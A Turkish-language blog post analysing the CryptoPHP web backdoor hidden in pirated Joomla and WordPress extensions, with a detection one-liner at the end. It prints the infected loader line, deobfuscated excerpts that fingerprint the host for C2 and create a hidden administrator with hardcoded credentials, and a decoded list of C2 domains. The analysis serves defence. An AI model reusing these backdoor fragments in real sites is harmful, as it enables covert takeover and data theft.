CryptoPHP Backdoor Analizi ve Tespiti

CryptoPHP Backdoor Analizi ve Tespiti

Merhaba

Geçtiğimiz haftalarda foxitsecurity firması tarafından tespit edilen CryptoPHP arka kapısı 23.000’den fazla siteyi etkilemiştir. Bu hafta yayınlanan GüvenlikTV 35. Bölümü’nde bahsi geçen CryptoPHP ile detay bilgi vermeyi amaçlayan bu bu yazıda CryptoPHP’nin nasıl yayıldığı ve hangi tür yetenekleri olduğu ele alınarak, kendi sisteminizi tarayabilme yöntemlerine değinilecektir.

CryptoPHP Nedir ?

WordPress, Jommla , Drupal gibi populer içerik yönetim sistemi yazılımlarında görülen bir arka kapıdır. Bilinen en popüler bulaşma yöntemi ise “webmaster” ların theme’i ücretli olarak almak yerine farklı kaynaklardan indirirerek sistemlerine kurmalarıdır. Aynı durum plug-in ve benzer 3. parti modüller içinde geçerlidir.

Web sitesi sahibi tarafından CryptoPHP içeren bir modül sisteme yüklendiği anda hedef sunucuya özgü bir kod yapısına bürünebilmektedir. Ardından 3 farklı yöntem ile “sahiplerine” bilgi aktarabilir.

  1. Backdoor içerisinde bulunan C2 sunucuları
  2. Email yöntemi
  3. Manuel yönetim

Hedef sisteme yüklendiği anda C2 sunucu ile Public Key Encryption metodunu  kullanarak iletişime geçmektedir. CryptoPHP’nin erişimi için geliştiricisi tarafından belirlenen C2 sunucuları/domain’lerine erişim kesilirse, bu sefer Email yolu ile iletişim kurmaktadır. Yapısında bulunan C2 sunucu listesi veya direk kendisi, uzaktan verilen bir komut ile güncellenebilmektedir.

CryptoPHP Analizi

Foxitsecurity firması tarafından yayınlanan bildiride, CryptoPHP arka kapısını normal olmayan bir HTTP talebinin fark ederek tespit ettikleri belirtilmiş. Kendi müşterilerine ait bir sunucudan User-Agent ve Referer  bilgisi boş olan bir HTTP Post talebinin, farklı bir domaine gönderildiği tespit edilmiş. Giden talepte taşınan verinin ise encrypted olduğu fark edilmiş. Sunucu bölgesinden çıkan tek bir HTTP talebini fark edip, sonuna kadar analiz ederek ortaya bu bilinmeyen saldırıyı çıkarttıkları için kendilerini tebrik etmek isterim.

Joomla kurulu bir web sitesinin administratorunun sisteme JSecure adından bir module kurduğu bilgisine ulaşılmış ve backdoor bu modülde tespit edilmiş. Burada ki bir diğer ilginç nokta ise sistem yöneticisinin JSecure modülünü Joomla’nın resmi sitesinde yayınlanan listeden indirmesi.

Bende bu bilgiden yola çıkarak jSecure-Authentication_3.0 isimli modülü indirip analize başladım. İlk başta dikkatimi çeken şey dosya tarihleri oldu. Gördüğünüz üzere jsecure.php dosyası diğer tüm dosyalardan farklı bir tarihte güncellenmiş.

cryptophp

jsecure.php dosyasının kaynak kodları ise aşağıdaki gibidir.

<?php
/**
 * jSecure Authentication components for Joomla!
 * jSecure Authentication extention prevents access to administration (back end)
 * login page without appropriate access key.
 *
 * @author      $Author: Ajay Lulia $
 * @copyright   Joomla Service Provider - 2012
 * @package     jSecure3.0
 * @license     http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @version     $Id: jsecure.php  $
 */
// no direct access
defined('_JEXEC') or die('Restricted Access');
// Require the base controller
require_once (JPATH_COMPONENT_ADMINISTRATOR.'/'.'controller.php');

if (!JFactory::getUser()->authorise('core.manage', 'com_jsecure')) {
        return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

$document =& JFactory::getDocument();
$document->addStyleSheet(JURI::base()."components/com_jsecure/css/jsecure.css");
$task   = JRequest::getCmd('task');

// Create the controller
$controller    = new jsecureControllerjsecure();


// Perform the Request task
if (!jsecureControllerjsecure::isMasterLogged())
{
        if (JRequest::getCmd('task') == 'login')
                $controller->execute('login');
        else
                $controller->execute($task);
}
else
        $controller->execute($task);

// Redirect if set by the controller
$controller->redirect();

?>
<?php include('images/social.png'); ?>

2006’lı yıllarda Joomla componentleri üzerinde güvenlik araştırması yaptığım zamanlardan hatırladığım fonksiyon isimlerinide göz önünde bulundurarak kaynak kodu okudum. Yani JFactory class’ında analiz yapmaya gerek yok. Çünkü eğer infection bu tür class’larda ise Joomla Core infect edilmiş demektir ki bu da olası bir durum değil, zira peşinde olduğumuz şey CryptoPHP olduğunu düşünürsek 3. parti modül dışına çıkılmasının pek bir anlamı yok.

Son satır direk dikkatleri üzerine çekmekte. PNG uzantalı bir dosyanın include edilmesi ?! Son derece şüphe uyandırıcı çünkü php geliştiricileri tarafından kullanan 2 yaklaşım vardır. Include edilecek dosya uzantısı ya .php’dir yada .inc . Ki son yıllarda en çok .php kullanılmaktadır.  Bu da saldırganın backdoor kodlarını .png uzantılı bir dosyada sakladığını göstermektedir. include()  fonksiyonu için erişilen dosyanın uzantısı önemli değildir.

mince@rootlab admin $ file images/social.png 
images/social.png: PHP script, ASCII text, with very long lines

Dosyanın içeriğine baktığımızda ;

crypto php source code

Beklediğimiz üzere obfuscation işlemi yapılmış PHP kaynak kodu görmekteyiz. Bu kod takibini oldukça zorlaştıran bir yöntemdir.

Backdoor Kodlarına İlk Bakış

Açıkça söylemem gerekirse bu güne kadar gördüğüm en başarılı web backdoor’u diyebilirim. Kaynak kodlara ilk bakışta fark edilecek şey Backdoor’un Joomla, WordPress ve Drupal sistemlerinin kendi fonksiyonlarını ve veri tabanını kullanmakta olduğudur. Örneğin kendi bilgilerini saklayabilmek adına aşağıdaki kod parçacığı ile hedef sistemin veri tabanına kendisine ait olan bir tablo oluşturmakta.

            if ($TTsctbCBDGVyjyFVpVyp === 2) {
                $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `options` (
        `id` int(10) NOT NULL AUTO_INCREMENT,
        `option_name` text NOT NULL,
        `value` text NOT NULL,

  PRIMARY KEY (`id`)
 ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;";
                db_query($rTfnEPRdToBnhSfwgHoC);
            }

PS: Ben olsam config.php dosyasından prefix’i okur ve o prefixe uygun PREFIX_options adından bir tablo oluşturarak Webmaster’ın dikkatini çekmemeye çalışırdım.

Kaynak kodu okumaya backdoor class’ının kurucu fonksiyonundan başlıyoruz. Hedef sisteme kendisini yerleştirme ve C2 sunucularına iletişim kurma gibi adımlar, backdoor ilk çalıştığında gerçekleştiriliyor olması kuvvetle muhtemeldir. İlk çalışan fonksiyon aşağıdaki kodlardı.

function YJPpcHYXiHzJcujCRMrl()
        {
            if (class_exists('JFactory')) {
                if (JURI::base()) {
                    $rFofWoxFwVRGhuCOjsaK = JURI::base();
                } elseif (JURI::root()) {
                    $rFofWoxFwVRGhuCOjsaK = JURI::root();
                }
            } elseif (function_exists('get_home_url') || function_exists('get_site_url')) {
                if (function_exists('get_home_url')) {
                    $rFofWoxFwVRGhuCOjsaK = get_home_url();
                } elseif (function_exists('get_site_url')) {
                    $rFofWoxFwVRGhuCOjsaK = get_site_url();
                }
            } elseif ($GLOBALS['base_path'] || $GLOBALS['base_url']) {
                if ($GLOBALS['base_path']) {
                    $rFofWoxFwVRGhuCOjsaK = $GLOBALS['base_path'];
                } else {
                    $rFofWoxFwVRGhuCOjsaK = $GLOBALS['base_url'];
                }
            } else {
                $rFofWoxFwVRGhuCOjsaK = $_SERVER['HTTP_HOST'];
            }

            $MsLKWZubUpwZsXweShFg = array(
                'www.',
                'www',
                ' ',
                '{',
                '}'
            );
            $this->rFofWoxFwVRGhuCOjsaK = str_replace($MsLKWZubUpwZsXweShFg, "", $rFofWoxFwVRGhuCOjsaK);
            return $this->rFofWoxFwVRGhuCOjsaK;
        }

 Hedef sistemdeki CMS’i tespit etmek

Yukarıdaki kaynak kodlar hem Joomla hemde WordPress karakteri gösteren yapıdadır. Backdoor ilk olarak JFactory isimli bir sınıfın varlığını kontrol etmektedir.

JFactory provides access to a group of core Joomla Objects. In each case it returns an object, usually with the current site settings.

Hedef bu sınıf mevcut değilse get_home_url isimli fonksiyonun varlığına bakılmaktadır. WordPress geliştiricilerinin yakından tanıdığı bu fonksiyon WordPress kurulu sitenin URL adresini vermektedir.

The get_home_url template tag retrieves the home url for a given site. Returns the ‘home’ option with the appropriate protocol, ‘https’ if is_ssl() and ‘http’ otherwise. If scheme is ‘http’ or ‘https’, is_ssl() is overridden.

Bu fonksiyon backdoor’un yerleştiği websitesinin URL’ini tespit etmeyi hedeflediği aşikardır. Eğer tanımlayamadığı bir PHP ıuygulamasına yerleşmiş ise PHP Global değişkeni olan HTTP_HOST bilgisini url olarak kabul etmektedir. Hedef sistem hakkında bir takım bilgiler elde ettikten sonra bu verileri aşağıdaki fonksiyon ile toplayıp C2 sunucularından bir tanesine göndermekte.

        function bQhqyjECNagHOENBeGGx()
        {
            if (!defined('wp_getInfoData')) {
                $ANVoslonRNQSwwQloQTx = array();
                $ANVoslonRNQSwwQloQTx['host'] = $this->YJPpcHYXiHzJcujCRMrl();
                $ANVoslonRNQSwwQloQTx['page'] = $_SERVER['REQUEST_URI'];
                $ANVoslonRNQSwwQloQTx['ip'] = $_SERVER['SERVER_ADDR'];
                $ANVoslonRNQSwwQloQTx['eval'] = $this->iIkbNPOMzHBEaGLuayXw();
                $ANVoslonRNQSwwQloQTx['exec'] = $this->schzwZIoqdCTflLjVBrW();
                $ANVoslonRNQSwwQloQTx['serverKey'] = $this->ERCpAYkPoxkdbTLfQwev();
                $ANVoslonRNQSwwQloQTx['run'] = 0;
                $ANVoslonRNQSwwQloQTx['type'] = $this->TTsctbCBDGVyjyFVpVyp;
                $ANVoslonRNQSwwQloQTx['ver'] = 1.0;
                $ANVoslonRNQSwwQloQTx['started'] = date('Ymd');
                $ANVoslonRNQSwwQloQTx['last_connect'] = date('Ymd');
                $this->ClbAffTqwdfsStqVgzyq = $ANVoslonRNQSwwQloQTx;
                return $ANVoslonRNQSwwQloQTx;
            }

            return FALSE;
        }

C2 sunucu listesi hardcoded şekilde backdoor’un içerisinde encoded olarak bulunmakta.  Bu kısmında “code hacking” yaparak listeyi aşağıdaki oluşturdum.

<?php
/**
 * Created by PhpStorm.
 * User: mince
 * Date: 12/2/14
 * Time: 5:37 PM
 */


$s = array(
    '=02ow5FryW3ogkJnuWUq',
    '6yzLhDKqwETol92q',
    '==trcWzYyEKqwETol92q',
    'g92LhZ3ni9Togyzr',
    '==DoiAzYiEKqiyKMgS2p',
    '=8zMhyzYhIJMlqzoi9Jo',
    '=bKnv5vpuE3phSJofI2n',
    'aW3ohHzMckzp19JM2y2M',
    '=02ow5PoyITqmEJquWaM',
    '==DoiAzY6ITqu1JLgkJL',
    'g92LhpzockTocM2oaWKM',
    '==toc5vo1AKMaSTofyzq',
    '==jqj5FqiyKMwyzoyA2p',
    '3OaY1WGoj1JL',
    '=pUphxKqaWKnuu2L',
    '=4JnhVKMeAJnfMJock2p',
    '=4JnhV3ox5JLl9TryuTq',
    'hyzYmk2oiEaoyk2M',
    'hyzYh9TqlSzLhSTM',
    '=4JnhNKqiW3Mf9TogyzL',
    '==toc5lp0Szp0SzM',
    'hyzYfIJM0Aaouu2L',
    'hyzYlSTqm92Mhyzp',
    'aW3ohHTo5E3pgHJocW3L',
    '==trcWzYmgJLgyTqf9zM',
    '==Nqy5zYmAKMhy2M0ITo0I3o',
    '==jqj5PnmyzMiEUnmyzp',
    '==jqj5lphS2pfIzquWUq',
    '==trcWzYlITMuk2Mc5Jq',
    '0IzohZUocSzMlITMh92q',
    '0IzohZKMfyUqm52ohITr',
    '=pzpi5vouEKn0g2LukzL',
    '==trcWzYfy2MlITqhIUn',
    '=bKnv5FM4S2nfyJo',
    '=bKnv5PqcgJLgSzp',
    '==trcWzYfk2ovITqiIKp',
    '==DoiAzYm52ox1zM',
    '=02ow5lpwy2p11JLlSTM',
    '=02ow5vpyWzLiWzpyq2MiWaM',
    '=02ow5lphIJof92n',
    '=02ow5lpykTpgS2pi9zM',
    '==DoiAzYmEzpu9zL2EKo',
    '==trcWzYmyKLxIao',
    'iMzoc5lp5kzMx5JLlS2L',
    '==jow5lqikTn0SJo',
    '=82Lh82nhIJo',
    '==toc5lp3Izo3SJo',
    '=4Jnhf2LiWKolITq',
    'hyzYeA2olIzoiE3p',
    '=4Jnh82oz1zM',
    'hyzY0WKLjSJMyWaM',
    '==toc5PMhSTolSTqcI3M',
    '==toc5vou12MiWUp',
    '==toc5voz1zM',
    'hyzYj9TouWKMhI2M',
    '=8zMhyzYykTpgS2pi9zM',
    '==joz5JnhHJMlMTAiWTn',
    '==joz5JnhHaZhITqmyTo',
    '=8zMhyzYyqJLjgzo',
    '3OaYm5JqaWzM',
    '=pUphH2nuEaZwyTp',
    '=pUphZapyE3pu1JMmIzocu2L',
    '=pUphxUMukJr6SToi9zM',
    '3OaYyAKqi92n',
    '0IzohxKLxIao',
    '=DKMh5Fne9TMhyzM',
    '==Nqy5zY5kzMx5JLlS2L',
    '==Nqy5zYi9zMgyzM',
    '==Nqy5zY392qzqKL',
    '==DoiAzYyyao2EKo',
    '=02ow5lpuyTMySKney2q',
    'g92Lh4JMwEapiO3p',
    '=02ow5FMyWaM2EKo',
    '==DoiAzYwyJou5Jrx9JolIJo',
    'g92LhDJMfkJLlIzquk2p',
    '=pzpi5FLc9zouWKLyO3p',
    '=DKMh5ln1kTnaI3oluTq',
    'g92Lh0zpiE3pcAaoiO3p',
    '==DoiAzYcEaouW3MuyTM',
    '==DoiAzYyAzouE3pcAKMg9TM',
    '==DoiAzY5WKL0yTocWJnmSJM',
    '==DoiAzYaWKqvAUq0y2n',
    'g92Lh0Jrh9zouqJq',
    '=02ow5PouITqmIKL',
    'g92LhZUqcAKn2yTM',
    'g92LhRzquqUql9Tn',
    '=02ow5PocEao19Jo',
    'g92Lh4zpyEaoc9Tp',
    '==DoiAzYiEKLl9Tpl92LhyTo',
    'g92Lhx3LuAJnfI2MlSTo',
    '==DoiAzYlI2Mu52olIJL',
    '==DoiAzYuu2pa5JnlIUM',
    '==DoiAzYmWKMg92LhyTo',
    '==DoiAzY3Izo3SJo'
);

$result = array();

foreach ($s as $a) {
    $result[] = base64_decode(str_rot13(strrev($a)));
}

foreach($result as $d)
    echo $d."\n";


mince@rootlab cryptophp $ php crypto_php_decoder.php 
trailmorey.com
worldcut.biz
worldcute.biz
zimlooks.com
sameyouto.com
moongreen.info
kelmanstar.biz
giveourlife.org
fraudsteel.com
almamatez.com
ergofilling.com
villagesun.in
sceniceyou.pw
ampm2u.pw
chairguy.pw
slimflicker.in
thexorandor.in
glentools.in
danbarton.in
bimlolgroup.in
fatrats.in
chansteel.in
ringostar.in
crime-style.org
foltimaks.biz
outletginess.net
rishtofish.pw
travelsans.pw
uniglader.biz
wonderfails.net
xenonstyles.net
blacktitan.org
huntergil.biz
milkaxe.biz
ramakit.biz
quoteboll.biz
fmdons.com
daramusics.com
froggerbobber.com
kolmens.com
foosamples.com
mtvboards.com
nudays.biz
carandflys.info
mathlow.co
menko.co
mawnews.in
termrock.in
stonerock.in
fmfoo.in
freeapart.in
guitarland.in
progman.in
fmfn.in
generalop.in
foosample.info
hbo4free.info
listen2u.info
nkpage.info
fbguns.pw
pic2take.pw
chinesemasters.pw
foolazylady.pw
koouse.pw
nuday.net
findoki.net
carandfly.net
fimfoo.net
awfwow.net
mtvnye.com
wikiqedias.com
sportcen.com
mtvfree.com
mermodynamic.com
slaveralled.com
spearanoia.org
throughluk.net
sponsistorm.com
diagranti.com
domesistance.com
easibilitary.com
kittsburg.com
uganonym.com
austeal.com
divisits.com
hortwava.com
mountil.com
pointern.com
lincorporato.com
largelicacy.com
aeronager.com
duringsha.com
lincomers.com
mawnew.com

PS: Türk hosting firmalarının bu domainleri yasaklamalarını öneririm.

Bununla yeterli kalmayıp bulaştığı yazılımı tespit edebilmesi halinde WordPress ve Joomla için veritabanına administrator yetkisinde kullanıcı eklemektedir.

        $zDNvTSZejFCkikBBYJnv = 'system';
        $eyyPQlOlTIqZjnzoyueI = 'FUHIAsbdiugAS';
        $AXnqCEBIBkgvOuLbMY = 'afjiaa@asfuhus.cc.cc';
        if (username_exists($zDNvTSZejFCkikBBYJnv) || email_exists($AXnqCEBIBkgvOuLbMY)) {
            return TRUE;
        }

        $xLyDQzORkZZbMOednjNE = 0;
        while (username_exists($zDNvTSZejFCkikBBYJnv)) {
            $zDNvTSZejFCkikBBYJnv = "system" . $xLyDQzORkZZbMOednjNE++;
        }

        $xLyDQzORkZZbMOednjNE = 0;
        while (email_exists($AXnqCEBIBkgvOuLbMY)) {
            $AXnqCEBIBkgvOuLbMY = "afjiaa" . $xLyDQzORkZZbMOednjNE++ . "@asfuhus.cc.cc";
        }

        $EPiddlhLNBJYXRRpRZRb = wp_create_user($zDNvTSZejFCkikBBYJnv, $eyyPQlOlTIqZjnzoyueI, $AXnqCEBIBkgvOuLbMY);

Görüldüğü üzere wp_create_user API’sini kullanarak hedef sisteme admin yetkilerinde kullanıcı eklemekte.

Sonuç

Alışıla gelmiş web backdoor’ların aksine  1600+ satır kodu olan ve iyi düşünülmüş bir backdoor ile karşılaştığımızı aşikardır. Kendi sistemlerinizde bu backdoor’u tespit etmek istiyorsanız backdoor’u tespit eden firma tarafından yazılmış aşağıdaki betiki kullanabilirsiniz. Web dizini altında .png vb dosyaların hash’ini alıp tespit edilen varyantların hashi ile karşılaştırılmakta.

https://github.com/fox-it/cryptophp/blob/master/scripts/check_filesystem.py

Bu listede olmayan varyantları tespit etmek mümkün olmayacaktır. Ben yazdığım aşağıdaki bash betiğini tercih etmekteyim. Sonuç olarak hash’i, adı ne olursa olsun, include edilen .png uzantılı dosya PHP script olmak zorundadır.

for i in $(find /home -type f |grep '.png\|.jpg'); do file $i|grep 'PHP script' ; done